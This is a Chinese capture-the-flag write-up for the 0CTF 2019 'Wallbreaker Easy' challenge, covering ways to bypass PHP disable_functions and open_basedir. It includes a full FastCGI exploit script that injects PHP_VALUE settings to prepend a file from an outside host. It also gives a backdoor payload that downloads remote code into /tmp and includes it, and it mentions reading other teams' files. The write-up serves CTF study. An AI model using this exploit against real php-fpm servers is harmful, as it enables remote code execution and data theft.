0ctf web Wallbreaker Easy 题目:
1 2 3 4 5 Imagick is a awesome library for hackers to break `disable_functions`. So I installed php-imagick in the server, opened a `backdoor` for you. Let's try to execute `/readflag` to get the flag. Open basedir: /var/www/html:/tmp/027de63a1bc1d6181810b16ae83c481c Hint: eval($_POST["backdoor"]);
方法一 有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
一、LD_PRELOAD函数
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以向别人的程序注入程序,从而达到特定的目的。
二、linux文件
o: 编译的目标文件 a: 静态库,其实就是把若干o文件打了个包 so: 动态链接库(共享库)类似于windows的.dll文件
lo: 使用libtool编译出的目标文件,其实就是在o文件中添加了一些信息 la: 使用libtool编译出的库文件,其实是个文本文件,记录同名动态库和静态库的相关信息
通过对phpinfo.php文件中php禁用的情况分析发现其并没有禁用putenv函数
思路是先上传png.la
看返回的数据是否有改变,可以进一步验证是不是问题,幸运的是返回了930,然后可以进一步上传png.so
,最后上传exploit.php(在这个文件中使用putenv函数将LD_PRELOAD函数设置为png.so),require exploit.php调用png.la和png.so就可以利用png.so的exp得到flag了。(所有上传的数据都要base64加密)
具体代码看大佬博客: http://momomoxiaoxi.com/2019/03/26/tctf2019/#wallbreaker-easy
方法二
通过DirectoryIterator+glob绕过open_basedir
DirectoryIterator :是php5中增加的一个类,为用户提供一个简单的查看目录的接口
glob: 数据流包装器是从 PHP 5.3.0 起开始有效的,用来查找匹配的文件路径。
实例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $file_list = array (); $it = new DirectoryIterator("glob:///v??/run/php/*" ); foreach ($it as $f) { $file_list[] = $f->__toString(); } echo 1234 ;$it = new DirectoryIterator("glob:///v??/run/php/.*" ); foreach ($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach ($file_list as $f){ echo "{$f}<br/>" ; }
这个方法可以阅读文件目录,但是无法阅读文件内容
通过这个方法可以发现在php的目录下有php7.2-fpm.sock
,然后考虑phpcgi漏洞
下面是fastcgi的利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 <?php class FCGIClient { const VERSION_1 = 1 ; const BEGIN_REQUEST = 1 ; const ABORT_REQUEST = 2 ; const END_REQUEST = 3 ; const PARAMS = 4 ; const STDIN = 5 ; const STDOUT = 6 ; const STDERR = 7 ; const DATA = 8 ; const GET_VALUES = 9 ; const GET_VALUES_RESULT = 10 ; const UNKNOWN_TYPE = 11 ; const MAXTYPE = self ::UNKNOWN_TYPE; const RESPONDER = 1 ; const AUTHORIZER = 2 ; const FILTER = 3 ; const REQUEST_COMPLETE = 0 ; const CANT_MPX_CONN = 1 ; const OVERLOADED = 2 ; const UNKNOWN_ROLE = 3 ; const MAX_CONNS = 'MAX_CONNS' ; const MAX_REQS = 'MAX_REQS' ; const MPXS_CONNS = 'MPXS_CONNS' ; const HEADER_LEN = 8 ; private $_sock = null ; private $_host = null ; private $_port = null ; private $_keepAlive = false ; public function __construct ($host, $port = 9000 ) // and default value for port , just for unixdomain socket { $this ->_host = $host; $this ->_port = $port; } public function setKeepAlive ($b) { $this ->_keepAlive = (boolean)$b; if (!$this ->_keepAlive && $this ->_sock) { fclose($this ->_sock); } } public function getKeepAlive () { return $this ->_keepAlive; } private function connect () { if (!$this ->_sock) { $this ->_sock = fsockopen($this ->_host, $this ->_port, $errno, $errstr, 5 ); if (!$this ->_sock) { throw new Exception ('Unable to connect to FastCGI application' ); } } } private function buildPacket ($type, $content, $requestId = 1 ) { $clen = strlen($content); return chr(self ::VERSION_1) . chr($type) . chr(($requestId >> 8 ) & 0xFF ) . chr($requestId & 0xFF ) . chr(($clen >> 8 ) & 0xFF ) . chr($clen & 0xFF ) . chr(0 ) . chr(0 ) . $content; } private function buildNvpair ($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128 ) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24 ) | 0x80 ) . chr(($nlen >> 16 ) & 0xFF ) . chr(($nlen >> 8 ) & 0xFF ) . chr($nlen & 0xFF ); } if ($vlen < 128 ) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24 ) | 0x80 ) . chr(($vlen >> 16 ) & 0xFF ) . chr(($vlen >> 8 ) & 0xFF ) . chr($vlen & 0xFF ); } return $nvpair . $name . $value; } private function readNvpair ($data, $length = null) { $array = array (); if ($length === null ) { $length = strlen($data); } $p = 0 ; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128 ) { $nlen = ($nlen & 0x7F << 24 ); $nlen |= (ord($data{$p++}) << 16 ); $nlen |= (ord($data{$p++}) << 8 ); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128 ) { $vlen = ($nlen & 0x7F << 24 ); $vlen |= (ord($data{$p++}) << 16 ); $vlen |= (ord($data{$p++}) << 8 ); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } private function decodePacketHeader ($data) { $ret = array (); $ret['version' ] = ord($data{0 }); $ret['type' ] = ord($data{1 }); $ret['requestId' ] = (ord($data{2 }) << 8 ) + ord($data{3 }); $ret['contentLength' ] = (ord($data{4 }) << 8 ) + ord($data{5 }); $ret['paddingLength' ] = ord($data{6 }); $ret['reserved' ] = ord($data{7 }); return $ret; } private function readPacket () { if ($packet = fread($this ->_sock, self ::HEADER_LEN)) { $resp = $this ->decodePacketHeader($packet); $resp['content' ] = '' ; if ($resp['contentLength' ]) { $len = $resp['contentLength' ]; while ($len && $buf=fread($this ->_sock, $len)) { $len -= strlen($buf); $resp['content' ] .= $buf; } } if ($resp['paddingLength' ]) { $buf=fread($this ->_sock, $resp['paddingLength' ]); } return $resp; } else { return false ; } } public function getValues (array $requestedInfo) { $this ->connect(); $request = '' ; foreach ($requestedInfo as $info) { $request .= $this ->buildNvpair($info, '' ); } fwrite($this ->_sock, $this ->buildPacket(self ::GET_VALUES, $request, 0 )); $resp = $this ->readPacket(); if ($resp['type' ] == self ::GET_VALUES_RESULT) { return $this ->readNvpair($resp['content' ], $resp['length' ]); } else { throw new Exception ('Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request (array $params, $stdin) { $response = '' ; $this ->connect(); $request = $this ->buildPacket(self ::BEGIN_REQUEST, chr(0 ) . chr(self ::RESPONDER) . chr((int) $this ->_keepAlive) . str_repeat(chr(0 ), 5 )); $paramsRequest = '' ; foreach ($params as $key => $value) { $paramsRequest .= $this ->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this ->buildPacket(self ::PARAMS, $paramsRequest); } $request .= $this ->buildPacket(self ::PARAMS, '' ); if ($stdin) { $request .= $this ->buildPacket(self ::STDIN, $stdin); } $request .= $this ->buildPacket(self ::STDIN, '' ); fwrite($this ->_sock, $request); do { $resp = $this ->readPacket(); if ($resp['type' ] == self ::STDOUT || $resp['type' ] == self ::STDERR) { $response .= $resp['content' ]; } } while ($resp && $resp['type' ] != self ::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception ('Bad request' ); } switch (ord($resp['content' ]{4 })) { case self ::CANT_MPX_CONN: throw new Exception ('This app can\'t multiplex [CANT_MPX_CONN]' ); break ; case self ::OVERLOADED: throw new Exception ('New request rejected; too busy [OVERLOADED]' ); break ; case self ::UNKNOWN_ROLE: throw new Exception ('Role value not known [UNKNOWN_ROLE]' ); break ; case self ::REQUEST_COMPLETE: return $response; } } } ?> <?php if (!isset ($_REQUEST['cmd' ])) { die ("Check your input\n" ); } if (!isset ($_REQUEST['filepath' ])) { $filepath = __FILE__ ; }else { $filepath = $_REQUEST['filepath' ]; } $req = '/' .basename($filepath); $uri = $req .'?' .'command=' .$_REQUEST['cmd' ]; $client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock" , -1 ); $code = "<?php echo(\$_REQUEST['command']);?>" ; $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://kaibro.tw/gginin" ; $params = array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=' .$_REQUEST['cmd' ], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9985' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_LENGTH' => strlen($code) ); echo "Call: $uri\n\n" ;echo strstr($client->request($params, $code), "PHP Version" , true )."\n" ;?>
然后就可以阅读任何文件了,利用后发现可以阅读其他队伍的文件,直接利用一波
1 2 3 4 5 backdoor= var_dump(file_put_contents("/tmp/42126aff4925d8592d6042ae2b81de08/a.php", file_get_contents("http://kaibro.tw/ext2"))); include("/tmp/42126aff4925d8592d6042ae2b81de08/a.php"); var_dump(file_get_contents("/tmp/xxxxxxxx/flag111.txt"));
得到flag
ps:此方法适应于绕过在服务器端的限制,对于在php代码处的限制没用
enable_dl如果是on,也可以用dl()函数加载扩展来绕过disable_functions,但是在php的5.3里sapi将此函数移除了。
参考文献及链接 https://gist.github.com/wofeiwo/4f41381a388accbf91f8
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy
http://momomoxiaoxi.com/2019/03/26/tctf2019/#wallbreaker-easy
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html#0x02-directoryiterator-glob